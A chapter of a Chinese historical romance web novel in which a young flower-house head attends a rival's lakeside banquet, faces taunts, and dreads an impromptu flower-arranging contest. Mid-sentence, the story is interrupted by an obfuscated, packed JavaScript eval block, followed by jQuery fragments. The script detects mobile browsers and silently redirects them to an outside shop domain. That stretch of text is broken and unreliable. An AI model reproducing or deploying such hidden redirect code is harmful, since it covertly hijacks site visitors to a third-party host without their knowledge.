“小姐,杜家派人送了请帖过来,说是要在湖心亭设宴。”秋菊走进内院,告知祝悠姌。
祝悠姌插花刚插到一半,闻声答道:“先放下吧,我待会儿再看。”
“是。”
杜家行事一向乖张,如今,自己这边刚丢了城东的铺子,对方就要大摆筵席,十有八九是场鸿门宴了。
这么想着,祝悠姌把温恕雪留下的插花作品完成,坐下把信打开。
格式很客套,读不出些什么,但看这架势,貌似不只请了祝家。这边奇了怪了,设宴也就罢了,谁会想着请竞争对手过来呢。既然其他花行也去的话,何尝不是一次机会。
“大人,徐管家那边送信过来。”许风轻轻叩着书房的门,生怕打扰到里面的宋南杉处理公务。
“拿进来吧。”
此时的宋南杉停下笔,从许风手里接过信,小心翼翼地打开,然后从中拿出了张白纸。然后,宋南杉愣住了,连同身边的许风也微微瞪大了眼睛——这年头,居然还有人敢耍当朝首辅?
既然是由江南老宅的徐茂徐管家寄过来的,再结合宋南杉近日的写信对象,不难猜出送信人是谁。宋南杉把纸放进之前用来盛月季的那个锦盒里,眉眼上沾上些许笑意。
呵,看来是把祝家主惹不高兴了。毕竟对方是有事相托,自己这般捉弄人家的确不太合适。事实上,祝老家主的事情,他已经派人在查了,只不过到目前为止,还未查到什么有用消息。
这时,有风从窗隙吹来,翻动案上书卷。再过几日便是立秋,上京这边的天就要渐渐转凉。不知道江南那边的花,是否还像他离开时一般灿烂。
城东湖畔,祝悠姌和秋菊边说话边移步上船,
“师父到了吗?”
秋菊回道:“温先生那边说是有事耽搁了,暂时没办法前来。”
“再多派个人去找,就说回去请他用膳。”
在决定来此之前,祝悠姌就料想到,几家花行齐聚,难免会在花艺方面论道切磋。眼下自己这插花水平,说一句三脚猫功夫也不为过,保险起见,还是决定叫上自家师父来撑撑场面为好。
迎着余热尚存的微风,二人一同上了船。周围湖水环山,祝悠姌一时沉溺于周围的景致,渐渐开始放空。
就在这时,祝悠姌远远看见湖心亭那边有个小点,一蹦一跳地冲自己招手。
“那是何人?”祝悠姌问旁边的秋菊。秋菊踮起脚来看,奈何距离太远而无法辨别,随即回道,
“抱歉小姐,奴婢也看不清。”
等到船行得近了些,祝悠姌才终于看清了那人的真面目,然后猛地把脸别过去。
“怎么了?小姐?”秋菊问。
祝悠姌示意她也蹲下,试图降低自己这边的存在感,“没什么。”
但是韩明澈却错以为她是没看到自己,突然放开了嗓子喊着:“姐姐!悠姌姐姐!”
湖心亭中的人被他的声音引着,纷纷聚在一处,朝船上的祝悠姌看去。
这下好了,想降低存在感也不太可能了。
甫一上岸,祝悠姌三步并作两步往亭中走,对围观的人说:“抱歉,府上新来的家丁不懂规矩,给诸位添乱了。”
见人散开,祝悠姌迅速用手堵上了韩明澈的嘴,小声问他:“你怎么在这儿?”
“姐姐不是叫了温恕雪那家伙吗?我也想来凑个热闹,他不让,我就干脆自己过来了。”韩明澈回答说。
“所以我师父他人呢?”
韩明澈眼睛看向别处,“这个嘛......没看到,估计还在找我吧。”
祝悠姌叹了口气,只求此人能老实呆在自己身边,不要再惹出什么乱子为好。
就在这时,有黄家花行的人主动找了过来,“这位便是祝家的小姐吧?不对,该叫祝家主。”
祝悠姌一时想不出寒暄的话来,突然间,某封信上的内容在脑中一闪而过,“嗯。黄家主近来可好?”
来人眼微眯着,说道:“此话我当问祝家主才是。”显然,祝家发生的事此人早已听说。
“祝家一切都好,不劳你操心了。”祝悠姌皮笑肉不笑。
“是吗?我怎么听说,祝家在城东的铺子已经卖给了前不久下江南的明公子呢?”
黄家的人一贯擅于趋炎附势,很显然,此次前来就是为了讨好杜家和明家的。
察觉到来者不善,韩明澈想替祝悠姌上前出头,却被祝悠姌眼神警告了。紧接着,祝悠姌上前一步回道:“黄家还是管好自己的事吧,唇亡齿寒的道理,难道你们不知道?”
“这......”那人嘲讽不得,只好闭了嘴。
筵席亟待开始时,祝悠姌瞥见了坐在那里等候的林景萱,于是带着其他二人过去在那边与之汇合。
刚坐下不久,祝悠姌看见了坐在主座旁边的明惠生。
而此时的明惠生正在教杜家长公子杜适认人:“那位是黄家如今的当家人黄善,这边依次是林家二小姐,以及......”谈及祝悠姌,他的目光很明显地停滞了一瞬。
杜适方才还一脸不耐烦的模样,听到这里反而来了兴致:“我知道,是那位祝家主吧。看着就一副不好惹的模样,也就明兄你消受得起了。”
见明惠生因为心虚没说话,杜适接着又发出疑问:“跟着祝家主来的那名公子是?”
一旁的侍从回答:“据其他人说,似乎是祝府上新来的家丁。”
“普通家丁能穿绸制的衣物?”杜适对这方面比较敏感。
听到这番对话,明惠生定睛朝韩明澈的方向看去,这一看,却是生生呆住了。很从衣着上来说,这位确实不像什么新来的家丁,并且模样长得也还算标志,此时又跟在祝悠姌身边,连出席这种场合也要带着,难不成是什么情郎?
想到这里,明惠生愈发觉得自己求亲遭拒,在某种意义上是被人羞辱了。
“那个,感谢诸位今日莅临到此。待到把下面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841080|211650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人认全,杜适站起来发言。显然,他对这类交际还不熟练。杜家能有今天的发展态势,很明显是因着老家主以及下面几个得力的店掌柜。
话音刚落,下面诸多来宾纷纷举杯敬酒。
见状,杜适也端起一杯酒倒进嘴里,然后接着发言道:“杜家今日设宴,是想和诸位共同庆贺明家花行的铺子正式开张。”
接着,明惠生起身,向其他人一一敬酒,敬到祝悠姌这边时,他没等人回话,就先行把酒饮下了。祝悠姌将这一行为理解为心虚的表现。
在场的各位宾客,无非是江南一带的权贵人家或同样经营花草生意的世家大族。当然,这其中并非所有人都支持明家来此开拓市场。
没多久,有人站出来指责明惠生:“明家分明是在拿祝家开刀给我们看呢!这次被侵占的是祝家的铺子,也不知道下一个会不会是我们中的其他人。”
还未等明惠生开口,下面就有其他人站出来替他辩解:“明兄分明是出钱买下了祝家的铺子,何来侵占一说?更何况,祝家近年也遭遇了不小的变故,说不定变卖了这铺子,正好用来贴补家用呢!”
听到这里,祝悠姌忍无可忍,起身开口道:“看来,你比我更了解祝家了?”
“鄙人这话确实说的有些唐突了,只不过,祝家主还年轻,有些道理还是早些知道为好。”那人作出退让,却毫无罢休的意思,一副为明家辩护到底的样子。
也不知道明惠生用这些威逼利诱的本事,在江南这边的市场上究竟培养了多少死士。
祝悠姌从鼻子里哼了一声:“那我们便走着瞧,看看笑到最后的是谁。”
眼见着宴会气氛逐渐降到冰点,明惠生又出来唱红脸:“这些都不重要,诸位好不容易聚在一处,还是先享受宴会比较好。杜公子,何不快些公布今日宴会都有什么安排。”
“是啊。”
“先坐下吧,何必呢?”
“对啊,先听杜公子安排吧。”
周围人纷纷附和道。
“好。”杜适应声开口,“接下来,我会吩咐下人拿些容器、剑山等过来,趁着这么好的天气,我们来个插花论道。”当然,杜适本人是不打算参与的。
这个环节是非来不可吗?祝悠姌刚才的气势瞬间被浇灭一半,低声问旁边的秋菊:“我师父他人呢?来了吗?”
秋菊摇摇头:“小姐,今日你只能靠自己了。”她这句话的本意并无指责自家小姐依赖师父的意思,只是表达对祝悠姌近来学习成果的认可,奈何表达出了问题,起了反作用,让祝悠姌愈发焦虑了。
“我也不想找外援啊。可是真我来的话,会很丢人的。”祝悠姌的声音越来越小。之前,在被自家师父无情嘲讽过插花水平低下之后,祝悠姌可是连夜把自认为好的作品全都搬走藏起来了。
没过多久,杜家一众侍从就把预先准备好的花材、工具等搬过来了。看着自己面前被摆放好的花枝,祝悠姌迟迟未敢下手。